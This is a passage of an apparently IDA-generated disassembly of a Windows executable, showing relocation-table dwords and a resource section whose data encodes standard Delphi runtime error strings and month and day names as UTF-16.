325A3252h, 329F3291h, 32AF32A4h, 32BA32B5h dd 32CB32C5h, 32DB32D0h, 32E632E1h, 32F732F1h, 330732FCh dd 3312330Dh, 3323331Dh, 33333328h, 333E3339h, 334F3349h dd 335F3354h, 336A3365h, 337B3375h, 338B3380h, 33963391h dd 33A733A1h, 33B733ACh, 33C233BDh, 33D333CDh, 33E333D8h dd 33EE33E9h, 33FF33F9h, 340F3404h, 341A3415h, 342B3425h dd 343B3430h, 34463441h, 34573451h, 3467345Ch, 3472346Dh dd 359F347Dh, 35B835ABh, 35EE35EAh, 360A35F2h, 361C3618h dd 36403638h, 36483644h, 3650364Ch, 36583654h, 3660365Ch dd 36683664h, 3670366Ch, 36783674h, 3680367Ch, 36883684h dd 3690368Ch, 36983694h, 36B4369Ch, 36D036CCh, 370436E4h dd 3710370Ch, 37183714h, 3720371Ch, 37283724h, 3748372Ch dd 37703768h, 37783774h, 3780377Ch, 37883784h, 3790378Ch dd 37CC37ACh, 37D837D4h, 37E037DCh, 37E837E4h, 37F037ECh dd 381037F4h, 38383830h, 3840383Ch, 38483844h, 3850384Ch dd 38583854h, 38943874h, 38A0389Ch, 38A838A4h, 38B038ACh dd 38B838B4h, 38D838BCh, 390038F8h, 39083904h, 3910390Ch dd 39183914h, 3920391Ch, 395C393Ch, 39683964h, 3970396Ch dd 39783974h, 3980397Ch, 39A43984h, 39CC39C4h, 39D439D0h dd 39DC39D8h, 39E439E0h, 39EC39E8h, 3A2C3A0Ch, 3A383A34h dd 3A403A3Ch, 3A483A44h, 3A503A4Ch, 3A703A54h, 3A983A90h dd 3AA03A9Ch, 3AA83AA4h, 3AB03AACh, 3AB83AB4h, 3AF83AD8h dd 3B043B00h, 3B0C3B08h, 3B143B10h, 3B1C3B18h, 3B3C3B20h dd 3B643B5Ch, 3B6C3B68h, 3B743B70h, 3B7C3B78h, 3B843B80h dd 3BB73BA9h, 3BDD3BC6h, 3C4B3C0Fh, 3C713C5Ah, 3CA73C99h dd 3CCD3CB6h, 3D3B3CFFh, 3D613D4Ah, 3D973D89h, 3DBD3DA6h dd 3E713DEAh, 3EA13E80h, 3EC73EB0h, 3EED3ED6h, 3F133EFCh dd 3F393F22h, 3F5F3F48h, 3F823F6Eh, 3FA23F91h, 3FE33FD4h dd 3FFAh, 0E000h, 0B4h, 309A3075h, 30F530BEh, 31123103h dd 33983129h, 36C136B3h, 37793760h, 37BC3793h, 380837E1h dd 3854382Dh, 38A03879h, 391238C5h, 3A0D393Eh, 3A153A11h dd 3A1D3A19h, 3A253A21h, 3A2D3A29h, 3A353A31h, 3A3D3A39h dd 3A453A41h, 3A4D3A49h, 3A553A51h, 3A5D3A59h, 3A6D3A61h dd 3C2C3C08h, 3CC83C86h, 3D173CFEh, 3DA03D2Fh, 3DC33DBFh dd 3DCB3DC7h, 3DD33DCFh, 3DDB3DD7h, 3DE33DDFh, 3DEB3DE7h dd 3DF33DEFh, 3DFB3DF7h, 3E033DFFh, 3E0B3E07h, 3E133E0Fh dd 3EA83E23h, 3FE73FE3h, 3FEF3FEBh, 3FF73FF3h, 3FFF3FFBh dd 0F000h, 124h, 30073003h, 300F300Bh, 30173013h, 301F301Bh dd 30273023h, 302F302Bh, 30373033h, 320C30ACh, 32C0323Ah dd 335832EEh, 3375335Fh, 337D3379h, 33853381h, 338D3389h dd 33DA339Ah, 3453344Ch, 346E346Ah, 34763472h, 347E347Ah dd 34BF3488h, 3533352Ch, 354F354Bh, 35573553h, 355F355Bh dd 35703563h, 361C35AFh, 36BD3646h, 372736FFh, 37BE3781h dd 37F237D7h, 388F3870h, 38973893h, 389F389Bh, 38A738A3h dd 38AF38ABh, 38B738B3h, 38BF38BBh, 38C738C3h, 38CF38CBh dd 38D738D3h, 38DF38DBh, 38FC38E3h, 3AB3397Ch, 3ABB3AB7h dd 3AC33ABFh, 3ACB3AC7h, 3AD33ACFh, 3ADB3AD7h, 3AE33ADFh dd 3AEB3AE7h, 3AF33AEFh, 3AFB3AF7h, 3B033AFFh, 3B6E3B07h dd 3CD83CB4h, 3D843D41h, 3DD73DBEh, 3E6E3DEFh, 3E763E72h dd 3E7E3E7Ah, 3E863E82h, 3E8E3E8Ah, 3E963E92h, 3E9E3E9Ah dd 3EA63EA2h, 3EAE3EAAh, 3EB63EB2h, 3EBE3EBAh, 3ED13EC2h dd 3F243F0Eh, 3F503F3Ah, 10000h, 154h, 30383034h, 3040303Ch dd 30483044h, 3050304Ch, 30583054h, 3060305Ch, 30683064h dd 3070306Ch, 30783074h, 3080307Ch, 30883084h, 30CA30B2h dd 30FA30E2h, 31E531C1h, 3290324Ch, 32EB32D2h, 33843304h dd 338C3388h, 33943390h, 339C3398h, 33A433A0h, 33AC33A8h dd 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h, 33D433D0h dd 33EC33D8h, 35603449h, 35683564h, 3570356Ch, 35783574h dd 3580357Ch, 35883584h, 3590358Ch, 35983594h, 35A0359Ch dd 35A835A4h, 35B035ACh, 35FD35B4h, 37063702h, 370E370Ah dd 37163712h, 371E371Ah, 37263722h, 372E372Ah, 37363732h dd 373E373Ah, 37463742h, 374E374Ah, 37563752h, 38293766h dd 38B0388Ch, 39963936h, 3A2239E0h, 3A543A3Bh, 3AD83AD4h dd 3AE03ADCh, 3AE83AE4h, 3AF03AECh, 3AF83AF4h, 3B003AFCh dd 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch, 3B283B24h dd 3C9E3B3Ch, 3CA63CA2h, 3CAE3CAAh, 3CB63CB2h, 3CBE3CBAh dd 3CC63CC2h, 3CCE3CCAh, 3CD63CD2h, 3CDE3CDAh, 3CE63CE2h dd 3CEE3CEAh, 3E213CF2h, 3EA33E45h, 3F483EFEh, 3FA33F8Ah dd 3FBCh, 11000h, 148h, 3040303Ch, 30483044h, 3050304Ch dd 30583054h dd 3060305Ch, 30683064h, 3070306Ch, 30783074h, 3080307Ch dd 30883084h, 3090308Ch, 30CB30A4h, 313A30DDh, 31703155h dd 31AB318Bh, 32443240h, 324C3248h, 32543250h, 325C3258h dd 32643260h, 326C3268h, 32743270h, 327C3278h, 32843280h dd 328C3288h, 32943290h, 32B3329Fh, 33313314h, 336B334Eh dd 3408338Ah, 346F3440h, 34A2348Ah, 353C3502h, 356C3553h dd 35D135B4h, 36223609h, 368C3639h, 36F636BCh, 37163712h dd 371E371Ah, 37263722h, 372E372Ah, 37363732h, 373E373Ah dd 37463742h, 374E374Ah, 37563752h, 375E375Ah, 37663762h dd 37903778h, 399E399Ah, 39A639A2h, 39AE39AAh, 39B639B2h dd 39BE39BAh, 39C639C2h, 39CE39CAh, 39D639D2h, 39DE39DAh dd 39E639E2h, 39EE39EAh, 3C2D3BC2h, 3C5D3C44h, 3CB53C98h dd 3D023CE9h, 3D543D19h, 3DC23D7Fh, 3E153DDFh, 3E353E31h dd 3E3D3E39h, 3E453E41h, 3E4D3E49h, 3E553E51h, 3E5D3E59h dd 3E653E61h, 3E6D3E69h, 3E753E71h, 3E7D3E79h, 3E853E81h dd 3EAF3E97h, 12000h, 0CCh, 30B030ACh, 30B830B4h, 30C030BCh dd 30C830C4h, 30D030CCh, 30D830D4h, 30E030DCh, 30E830E4h dd 30F030ECh, 30F830F4h, 310030FCh, 336932D4h, 33AD3382h dd 34613407h, 350E34BFh, 39773958h, 39A7398Fh, 3A2D3A16h dd 3A523A40h, 3AE53AD0h, 3AFF3AFAh, 3B2C3B0Ch, 3B4B3B46h dd 3C7E3C1Ch, 3CA63C8Bh, 3CC03CACh, 3DA53CC5h, 3DD73DCAh dd 3E033DE2h, 3E313E19h, 3E5B3E36h, 3E733E67h, 3E873E7Dh dd 3E9C3E91h, 3EAC3EA6h, 3ECC3EBEh, 3EDC3ED4h, 3EEC3EE4h dd 3EFC3EF4h, 3F3F3F04h, 3F523F4Bh, 3F673F5Dh, 3F883F79h dd 3FB03FA8h, 3FB83FB4h, 3FC03FBCh, 3FC83FC4h, 3FD03FCCh dd 3FE0h, 13000h, 158h, 30083000h, 3010300Ch, 30183014h dd 3020301Ch, 30283024h, 30603040h, 306C3068h, 30743070h dd 307C3078h, 30843080h, 308C3088h, 30943090h, 30A43098h dd 30CC30C4h, 30D430D0h, 30DC30D8h, 30E430E0h, 30EC30E8h dd 310C30FCh, 311C3118h, 31283124h, 3130312Ch, 31383134h dd 3140313Ch, 31483144h, 3150314Ch, 315E315Ah, 31813170h dd 31983185h, 31BC31B4h, 31E431DCh, 31EC31E8h, 31F431F0h dd 31FC31F8h, 32043200h, 32343214h, 3240323Ch, 32483244h dd 3250324Ch, 32583254h, 3292325Ch, 340A33F3h, 35173411h dd 35313524h, 35483543h, 357C355Ch, 35883584h, 3590358Ch dd 35983594h, 35A0359Ch, 35FC35A4h, 371A3608h, 37B73794h dd 37E337D1h, 38AD380Dh, 397338EAh, 39EA39BDh, 3A6F3A32h dd 3ACE3A8Bh, 3B6C3AEEh, 3BDF3B9Bh, 3BFD3BE6h, 3C9D3C49h dd 3CF53CB8h, 3D103D01h, 3D753D70h, 3DA43D9Ch, 3DF83DB3h dd 3E153DFDh, 3E2F3E1Fh, 3E493E35h, 3E673E53h, 3EA63E76h dd 3EBD3EABh, 3EE73EDBh, 3EF83EEEh, 3F2A3F10h, 3F3E3F34h dd 3F573F48h, 3F733F61h, 3FAB3F84h, 3FBE3FB7h, 3FDB3FC9h dd 3FECh, 14000h, 0A8h, 3014300Ch, 301C3018h, 30243020h dd 302C3028h, 30343030h, 3058304Ch, 3074306Ch, 307C3078h dd 30843080h, 308C3088h, 30943090h, 30C730A2h, 326830CEh dd 3348331Eh, 34073389h, 34D73472h, 36963501h, 36F7369Dh dd 374736FEh, 375A3753h, 37773765h, 37A03788h, 37D837BCh dd 37E437DCh, 37EC37E8h, 37F437F0h, 37FC37F8h, 38043800h dd 3824380Ch, 38443840h, 3850384Ch, 38583854h, 3860385Ch dd 38683864h, 3874386Ch, 3D7F3D6Fh, 3F533F43h, 3F703F69h dd 3FC73FA9h, 3FD4h, 15000h, 120h, 305C3052h, 30923083h dd 30FB30CBh, 31763171h, 31E63196h, 321131F3h, 324C3247h dd 3297328Ah, 3334332Fh, 3369335Ch, 33B4338Ch, 33E933C1h dd 341533EEh, 34393422h, 34983486h, 34B334A4h, 354034C4h dd 3563355Ch, 36B635F0h, 379B3769h, 37E237ABh, 382337FDh dd 38613828h, 38C738B5h, 390038F3h, 392D390Fh, 397B396Eh dd 398F398Ah, 39B139A5h, 39D939C1h, 3A0A39EDh, 3A523A3Eh dd 3AFC3ADCh, 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch dd 3BD63B24h, 3C3B3BF4h, 3C523C47h, 3C663C5Ch, 3C7F3C75h dd 3C933C89h, 3CA73C9Dh, 3CBC3CB2h, 3CD13CC6h, 3CE63CDBh dd 3D083CF8h, 3D183D10h, 3D283D20h, 3D503D48h, 3D583D54h dd 3D603D5Ch, 3D683D64h, 3D703D6Ch, 3DA03D80h, 3DAC3DA8h dd 3DB43DB0h, 3DBC3DB8h, 3DC43DC0h, 3DDC3DC8h, 3DFC3DE8h dd 3E083E04h, 3E103E0Ch, 3E183E14h, 3E203E1Ch, 3E323E24h dd 3F0F3E3Ah, 3F793F3Fh, 3FD6h, 16000h, 0E0h, 305B301Dh dd 308E307Eh, 309E3099h, 30AE30A9h, 30BE30B9h, 30CE30C9h dd 30DE30D9h, 319730E9h, 32493232h, 32A63299h, 32CE32B9h dd 352332D5h, 3598356Ah, 35D735A1h, 369E35DEh, 36D936D2h dd 370B3704h, 37E2379Ah, 380A37F7h, 392B3837h, 39893985h dd 3991398Dh, 39993995h, 39A1399Dh, 39A939A5h, 39B139ADh dd 39B939B5h, 39C139BDh, 39C939C5h, 3A3F3A36h, 3A4E3A45h dd 3A5F3A56h, 3A713A6Ch, 3A853A7Ch, 3AAB3A94h, 3AC33AB7h dd 3AD13ACBh, 3AE43ADBh, 3AF73AEDh, 3B0F3B04h, 3B323B21h dd 3BE43B5Ch, 3CB83C21h, 3D003CE2h, 3D603D38h, 3D743D6Ch dd 3DB93DA0h, 3DFF3DD5h, 3E3F3E18h, 3E863E5Fh, 3EE53EB0h dd 3F3C3F26h, 3F9E3F90h, 3FACh, 17000h, 104h, 30063001h dd 3031302Ch, 306A305Dh, 30DE30C2h, 30EE30E4h, 30FC30F5h dd 314A310Bh, 3176315Ah, 31EC3196h, 323331F7h, 33923343h dd 340F33DBh, 34253417h, 34603442h, 347E3476h, 349C3494h dd 34BA34B2h, 34D834D0h, 34F634EEh, 3514350Ch, 3532352Ah dd 35503548h, 356E3566h, 358C3584h, 35AA35A2h, 35C835C0h dd 35E635DEh, 360435FCh, 3622361Ah, 36403638h, 365E3656h dd 367C3674h, 36993692h, 395536A6h, 39A2398Ch, 3A843A4Eh dd 3BF03AAEh, 3C573C17h, 3C953C77h, 3CCE3CB1h, 3D123CEFh dd 3D293D1Ch, 3DA53D4Dh, 3DDA3DCBh, 3E063DEDh, 3E493E1Fh dd 3E773E5Fh, 3EAF3E8Fh, 3ECB3EC2h, 3EDD3ED4h, 3EF33EE6h dd 3F283F23h, 3F3C3F38h, 3F443F40h, 3F4C3F48h, 3F543F50h dd 3F5C3F58h, 3F673F60h, 3F833F75h, 3F9F3F91h, 3FBB3FADh dd 3FD73FC9h, 3FE5h, 18000h, 48h, 32C232B7h, 32D632CCh dd 32EA32E0h, 331032FCh, 3320331Ch, 3330332Ch, 3370336Ch dd 33783374h, 3380337Ch, 3390338Ch, 33983394h, 33A0339Ch dd 33A833A4h, 33B833B4h, 33D033CCh, 33E8h, 19000h, 218h dd 30143002h, 301F301Bh, 30293025h, 3036302Fh, 3054303Ah dd 3066305Dh, 307C3072h, 30903086h, 30A4309Ah, 30BF30B3h dd 30D130C7h, 30E430DCh, 30F830E9h, 31363119h, 3157314Bh dd 3169315Fh, 3173316Eh, 317D3178h, 31883183h, 3193318Dh dd 31A0319Ah, 31AD31A7h, 31BA31B4h, 31C731C1h, 31E031CEh dd 31FF31F2h, 3218320Bh, 32373224h, 324D3243h, 325E3254h dd 326F3265h, 328E327Ch, 329E3296h, 32B932AFh, 32D632CAh dd 32F332E2h, 330D3303h, 33223318h, 3337332Dh, 3348333Eh dd 3359334Fh, 336A3360h, 3374336Fh, 33833379h dd 338D3388h, 33A7339Ah, 33B433ADh, 33BF33BAh, 33CC33C5h dd 33DD33D6h, 33E833E2h, 34113404h, 34333429h, 34473438h dd 3458344Ch, 3480347Bh, 348A3485h, 34A53499h, 34D234BFh dd 34F134E4h, 35203506h, 35453533h, 356F3552h, 358D3585h dd 35973592h, 35AF35A9h, 35C135BAh, 35D735CBh, 35E835DDh dd 35F435EEh, 360235FAh, 3614360Fh, 3631361Eh, 363B3636h dd 36473642h, 366A364Ch, 368A3674h, 36963690h, 36A1369Ch dd 36AC36A7h, 36C936B6h, 36D536CFh, 36E036DBh, 36EB36E6h dd 36FC36F7h, 37143708h, 372D371Ah, 37383732h, 374A3740h dd 375E374Fh, 376F3769h, 377B3775h, 37863780h, 3798378Bh dd 37B037A5h, 37D737B8h, 37EA37E2h, 380237FDh, 380D3807h dd 381F3815h, 382F3824h, 38403835h, 384F3845h, 3866385Eh dd 388D387Ah, 38993893h, 38A4389Fh, 38AF38AAh, 38C338BAh dd 38CE38C9h, 38E438DEh, 38F238ECh, 390838FCh, 3919390Eh dd 3938391Eh, 394E393Dh, 3969395Dh, 3979396Eh, 39983993h dd 39B139A9h, 39C839C3h, 39D839D3h, 39F639E7h, 3A0139FBh dd 3A133A09h, 3A273A1Ah, 3A3C3A2Ch, 3A4D3A47h, 3A613A52h dd 3A7F3A74h, 3A973A8Ah, 3AC13AADh, 1A000h, 218h, 30603040h dd 30A03080h, 30E030C0h, 31203100h, 37243140h, 372C3728h dd 37343730h, 384C3738h, 38583854h, 3860385Ch, 38883884h dd 3890388Ch, 38983894h, 38A0389Ch, 38A838A4h, 38B038ACh dd 38B838B4h, 38C038BCh, 38C838C4h, 38D038CCh, 38D838D4h dd 38E038DCh, 38E838E4h, 38F038ECh, 38F838F4h, 390038FCh dd 39083904h, 3910390Ch, 39183914h, 395C3954h, 396C3964h dd 397C3974h, 398C3984h, 399C3994h, 39AC39A4h, 39BC39B4h dd 39CC39C4h, 39DC39D4h, 39EC39E4h, 39FC39F4h, 3A243A20h dd 3A2C3A28h, 3A343A30h, 3A3C3A38h, 3A443A40h, 3A4C3A48h dd 3A543A50h, 3A5C3A58h, 3A643A60h, 3A6C3A68h, 3A883A70h dd 3A903A8Ch, 3A9C3A98h, 3AA43AA0h, 3AE43ADCh, 3AF43AECh dd 3B043AFCh, 3B143B0Ch, 3B243B1Ch, 3B343B2Ch, 3B443B3Ch dd 3B543B4Ch, 3B643B5Ch, 3B743B6Ch, 3B843B7Ch, 3B943B8Ch dd 3BA43B9Ch, 3BB43BACh, 3BC43BBCh, 3BD43BCCh, 3BE43BDCh dd 3BF43BECh, 3C043BFCh, 3C143C0Ch, 3C243C1Ch, 3C343C2Ch dd 3C443C3Ch, 3C543C4Ch, 3C643C5Ch, 3C743C6Ch, 3C843C7Ch dd 3C943C8Ch, 3CA43C9Ch, 3CB43CACh, 3CC43CBCh, 3CD43CCCh dd 3CE43CDCh, 3CF43CECh, 3D043CFCh, 3DAC3DA8h, 3DB43DB0h dd 3EBC3EB8h, 3EC43EC0h, 3ECC3EC8h, 3ED43ED0h, 3EDC3ED8h dd 3EE43EE0h, 3EEC3EE8h, 3EF43EF0h, 3EFC3EF8h, 3F043F00h dd 3F0C3F08h, 3F143F10h, 3F1C3F18h, 3F243F20h, 3F2C3F28h dd 3F343F30h, 3F3C3F38h, 3F443F40h, 3F4C3F48h, 3F543F50h dd 3F5C3F58h, 3F643F60h, 3F6C3F68h, 3F743F70h, 3F7C3F78h dd 3F843F80h, 3F8C3F88h, 3F943F90h, 3F9C3F98h, 3FA43FA0h dd 3FAC3FA8h, 3FB43FB0h, 3FBC3FB8h, 3FC43FC0h, 3FCC3FC8h dd 3FD43FD0h, 3FDC3FD8h, 3FE43FE0h, 3FEC3FE8h, 3FF43FF0h dd 3FFC3FF8h, 1B000h, 74h, 30043000h, 300C3008h, 30143010h dd 301C3018h, 30243020h, 302C3028h, 30343030h, 303C3038h dd 30443040h, 304C3048h, 30543050h, 305C3058h, 30643060h dd 306C3068h, 30743070h, 307C3078h, 30843080h, 308C3088h dd 30943090h, 309C3098h, 30A430A0h, 30AC30A8h, 30B430B0h dd 30BC30B8h, 30C430C0h, 30CC30C8h, 30D430D0h, 27000h dd 10h, 30043000h, 300C3008h _reloc ends ; Section 9. (virtual address 0002A000) ; Virtual size : 00033C00 ( 211968.) ; Section size in file : 00033C00 ( 211968.) ; Offset to raw data for section: 0002A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 4002A000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 20000h, 6, 80000020h, 0Ah, 80000068h, 2 dup(0) dd 4, 70000h, 0FFAh, 80000098h, 0FFBh, 800000B0h, 0FFCh dd 800000C8h, 0FFDh, 800000E0h, 0FFEh, 800000F8h, 0FFFh dd 80000110h, 1000h, 80000128h, 2 dup(0) dd 2 dup(4), 80000250h, 80000140h, 8000025Eh, 80000158h dd 80000276h, 80000170h, 8000027Eh, 80000188h, 2 dup(0) dd 4, 10000h, 0 dd 1A0h, 2 dup(0) dd 4, 10000h, 0 dd 1B0h, 2 dup(0) dd 4, 10000h, 0 dd 1C0h, 2 dup(0) dd 4, 10000h, 0 dd 1D0h, 2 dup(0) dd 4, 10000h, 0 dd 1E0h, 2 dup(0) dd 4, 10000h, 0 dd 1F0h, 2 dup(0) dd 4, 10000h, 0 dd 200h, 2 dup(0) dd 4, 10000h, 0 dd 210h, 2 dup(0) dd 4, 10000h, 0 dd 220h, 2 dup(0) dd 4, 10000h, 0 dd 230h, 2 dup(0) dd 4, 10000h, 0 dd 240h, 2A288h, 20Ch, 4E4h, 0 dd 2A494h, 1FCh, 4E4h, 0 db 90h db 0A6h, 2, 0 align 8 dd 4E4h, 0 dd 2A75Ch, 178h, 4E4h, 0 dd 2A8D4h, 394h, 4E4h, 0 dd 2AC68h, 35Ch, 4E4h, 0 dd 2AFC4h, 280h, 4E4h, 0 dd 2B244h, 10h, 4E4h, 0 dd 2B254h, 124h, 4E4h, 0 dd 2B378h, 27511h, 4E4h, 0 dd 5288Ch, 4200h, 4E4h, 0 dd 440006h, 430056h, 41004Ch, 0B004Ch, 410050h, 4B0043h dd 470041h, 490045h, 46004Eh, 3004Fh, 460052h, 30057h dd 540053h, 52h, 46001Bh, 690061h, 65006Ch, 200064h, 6F0074h dd 670020h, 740065h, 640020h, 740061h, 200061h, 6F0066h dd 200072h, 250027h, 270073h, 46001Bh, 690061h, 65006Ch dd 200064h, 6F0074h, 730020h, 740065h, 640020h, 740061h dd 200061h, 6F0066h, 200072h, 250027h, 270073h, 43001Dh dd 6E0061h, 610076h, 200073h, 6F0064h, 730065h, 6E0020h dd 74006Fh, 610020h, 6C006Ch, 77006Fh, 640020h, 610072h dd 690077h, 67006Eh, 4F000Eh, 45004Ch, 650020h, 720072h dd 72006Fh, 250020h, 38002Eh, 2E0078h, 65004Dh, 680074h dd 64006Fh, 270020h, 730025h, 200027h, 6F006Eh, 200074h dd 750073h, 700070h, 72006Fh, 650074h, 200064h, 790062h dd 610020h, 740075h, 6D006Fh, 740061h, 6F0069h, 20006Eh dd 62006Fh, 65006Ah, 740063h, 56002Fh, 720061h, 610069h dd 74006Eh, 640020h, 65006Fh, 200073h, 6F006Eh, 200074h dd 650072h, 650066h, 650072h, 63006Eh, 200065h, 6E0061h dd 610020h, 740075h, 6D006Fh, 740061h, 6F0069h, 20006Eh dd 62006Fh, 65006Ah, 740063h, 440037h, 730069h, 610070h dd 630074h, 200068h, 65006Dh, 680074h, 64006Fh, 200073h dd 6F0064h, 6E0020h, 74006Fh, 730020h, 700075h, 6F0070h dd 740072h, 6D0020h, 72006Fh, 200065h, 680074h, 6E0061h dd 360020h, 200034h, 610070h, 610072h, 65006Dh, 650074h dd 730072h, 5 dup(0) dd 540003h, 750068h, 460003h, 690072h, 530003h, 740061h dd 530006h, 6E0075h, 610064h, 60079h, 6F004Dh, 64006Eh dd 790061h, 540007h, 650075h, 640073h, 790061h, 570009h dd 640065h, 65006Eh, 640073h, 790061h, 540008h, 750068h dd 730072h, 610064h, 60079h, 720046h, 640069h, 790061h dd 530008h, 740061h, 720075h, 610064h, 1A0079h, 610043h dd 6E006Eh, 74006Fh, 610020h, 730073h, 670069h, 20006Eh dd 200061h, 730025h, 740020h, 20006Fh, 200061h, 730025h dd 4C0025h, 730069h, 200074h, 6F0064h, 730065h, 6E0020h dd 74006Fh, 610020h, 6C006Ch, 77006Fh, 640020h, 700075h dd 69006Ch, 610063h, 650074h, 200073h, 240028h, 250030h dd 290078h, 49001Ah, 76006Eh, 6C0061h, 640069h, 640020h dd 740061h, 200061h, 790074h, 650070h, 660020h, 72006Fh dd 270020h, 730025h, 200027h, 69004Ch, 740073h, 630020h dd 700061h, 630061h, 740069h, 200079h, 75006Fh, 200074h dd 66006Fh, 620020h, 75006Fh, 64006Eh, 200073h, 250028h dd 290064h, 4C001Dh, 730069h, 200074h, 6F0063h, 6E0075h dd 200074h, 75006Fh, 200074h, 66006Fh, 620020h, 75006Fh dd 64006Eh, 200073h, 250028h, 290064h, 4C001Dh, 730069h dd 200074h, 6E0069h, 650064h, 200078h, 75006Fh, 200074h dd 66006Fh, 620020h, 75006Fh, 64006Eh, 200073h, 250028h dd 290064h, 4A0007h, 6E0061h, 610075h, 790072h, 460008h dd 620065h, 750072h, 720061h, 50079h, 61004Dh, 630072h dd 50068h, 700041h, 690072h, 3006Ch, 61004Dh, 40079h, 75004Ah dd 65006Eh, 4A0004h, 6C0075h, 60079h, 750041h, 750067h dd 740073h, 530009h, 700065h, 650074h, 62006Dh, 720065h dd 4F0007h, 740063h, 62006Fh, 720065h, 4E0008h, 76006Fh dd 6D0065h, 650062h, 80072h, 650044h, 650063h, 62006Dh dd 720065h, 530003h, 6E0075h, 4D0003h, 6E006Fh, 540003h dd 650075h, 570003h, 640065h, 41000Eh, 730062h, 720074h dd 630061h, 200074h, 720045h, 6F0072h, 3F0072h, 630041h dd 650063h, 730073h, 760020h, 6F0069h, 61006Ch, 690074h dd 6E006Fh, 610020h, 200074h, 640061h, 720064h, 730065h dd 200073h, 700025h, 690020h, 20006Eh, 6F006Dh, 750064h dd 65006Ch, 270020h, 730025h, 2E0027h, 250020h, 200073h dd 66006Fh, 610020h, 640064h, 650072h, 730073h, 250020h dd 1C0070h, 790053h, 740073h, 6D0065h, 450020h, 720072h dd 72006Fh, 20002Eh, 430020h, 64006Fh, 3A0065h, 250020h dd 2E0064h, 0A000Dh, 730025h, 41001Fh, 630020h, 6C0061h dd 20006Ch, 6F0074h, 610020h, 20006Eh, 53004Fh, 660020h dd 6E0075h, 740063h, 6F0069h, 20006Eh, 610066h, 6C0069h dd 640065h, 4A0003h, 6E0061h, 460003h, 620065h, 4D0003h dd 720061h, 410003h, 720070h, 4D0003h, 790061h, 4A0003h dd 6E0075h, 4A0003h, 6C0075h, 410003h, 670075h, 530003h dd 700065h, 4F0003h, 740063h, 4E0003h, 76006Fh, 440003h dd 630065h, 56001Fh, 720061h, 610069h, 74006Eh, 6F0020h dd 200072h, 610073h, 650066h, 610020h, 720072h, 790061h dd 690020h, 200073h, 6F006Ch, 6B0063h, 640065h, 49001Fh dd 76006Eh, 6C0061h, 640069h, 760020h, 720061h, 610069h dd 74006Eh, 740020h, 700079h, 200065h, 6F0063h, 76006Eh dd 720065h, 690073h, 6E006Fh, 490019h, 76006Eh, 6C0061h dd 640069h, 760020h, 720061h, 610069h, 74006Eh, 6F0020h dd 650070h, 610072h, 690074h, 6E006Fh, 490025h, 76006Eh dd 6C0061h, 640069h, 760020h, 720061h, 610069h, 74006Eh dd 6F0020h, 650070h, 610072h, 690074h, 6E006Fh, 280020h dd 730025h, 2E0025h, 780038h, 0A0029h, 730025h, 430035h dd 75006Fh, 64006Ch, 6E0020h, 74006Fh, 630020h, 6E006Fh dd 650076h, 740072h, 760020h, 720061h, 610069h, 74006Eh dd 6F0020h, 200066h, 790074h, 650070h, 280020h, 730025h dd 200029h, 6E0069h, 6F0074h, 740020h, 700079h, 200065h dd 250028h, 290073h, 4F003Dh, 650076h, 660072h, 6F006Ch dd 200077h, 680077h, 6C0069h, 200065h, 6F0063h, 76006Eh dd 720065h, 690074h, 67006Eh, 760020h, 720061h, 610069h dd 74006Eh, 6F0020h, 200066h, 790074h, 650070h, 280020h dd 730025h, 200029h, 6E0069h, 6F0074h, 740020h, 700079h dd 200065h, 250028h, 290073h, 560010h, 720061h, 610069h dd 74006Eh, 6F0020h, 650076h, 660072h, 6F006Ch, 100077h dd 6E0049h, 610076h, 69006Ch, 200064h, 720061h, 750067h dd 65006Dh, 74006Eh, 490014h, 76006Eh, 6C0061h, 640069h dd 760020h, 720061h, 610069h, 74006Eh, 740020h, 700079h dd 170065h, 70004Fh, 720065h, 740061h, 6F0069h, 20006Eh dd 6F006Eh, 200074h, 750073h, 700070h, 72006Fh, 650074h dd 180064h, 6E0055h, 780065h, 650070h, 740063h, 640065h dd 760020h, 720061h, 610069h, 74006Eh, 650020h, 720072h dd 72006Fh, 450015h, 740078h, 720065h, 61006Eh, 20006Ch dd 780065h, 650063h, 740070h, 6F0069h, 20006Eh, 780025h dd 410010h, 730073h, 720065h, 690074h, 6E006Fh, 660020h dd 690061h, 65006Ch, 170064h, 6E0049h, 650074h, 660072h dd 630061h, 200065h, 6F006Eh, 200074h, 750073h, 700070h dd 72006Fh, 650074h, 1C0064h, 780045h, 650063h, 740070h dd 6F0069h, 20006Eh, 6E0069h, 730020h, 660061h, 630065h dd 6C0061h, 20006Ch, 65006Dh, 680074h, 64006Fh, 250010h dd 200073h, 250028h, 2C0073h, 6C0020h, 6E0069h, 200065h dd 640025h, 29h, 490019h, 76006Eh, 6C0061h, 640069h, 700020h dd 69006Fh, 74006Eh, 720065h, 6F0020h, 650070h, 610072h dd 690074h, 6E006Fh, 490016h, 76006Eh, 6C0061h, 640069h dd 630020h, 61006Ch, 730073h, 740020h, 700079h, 630065h dd 730061h, 300074h, 630041h, 650063h, 730073h, 760020h dd 6F0069h, 61006Ch, 690074h, 6E006Fh, 610020h, 200074h dd 640061h, 720064h, 730065h, 200073h, 700025h, 20002Eh dd 730025h, 6F0020h, 200066h, 640061h, 720064h, 730065h dd 200073h, 700025h, 410010h, 630063h, 730065h, 200073h dd 690076h, 6C006Fh, 740061h, 6F0069h, 0E006Eh, 740053h dd 630061h, 20006Bh, 76006Fh, 720065h, 6C0066h, 77006Fh dd 43000Dh, 6E006Fh, 720074h, 6C006Fh, 43002Dh, 680020h dd 740069h, 500016h, 690072h, 690076h, 65006Ch, 650067h dd 200064h, 6E0069h, 740073h, 750072h, 740063h, 6F0069h dd 28006Eh, 780045h, 650063h, 740070h, 6F0069h, 20006Eh dd 730025h, 690020h, 20006Eh, 6F006Dh, 750064h, 65006Ch dd 250020h, 200073h, 740061h, 250020h, 2E0070h, 0A000Dh dd 2 dup(730025h), 0A000Dh, 410011h, 700070h, 69006Ch dd 610063h, 690074h, 6E006Fh, 450020h, 720072h, 72006Fh dd 460031h, 72006Fh, 61006Dh, 200074h, 250027h, 270073h dd 690020h, 76006Eh, 6C0061h, 640069h, 6F0020h, 200072h dd 6E0069h, 6F0063h, 70006Dh, 740061h, 620069h, 65006Ch dd 770020h, 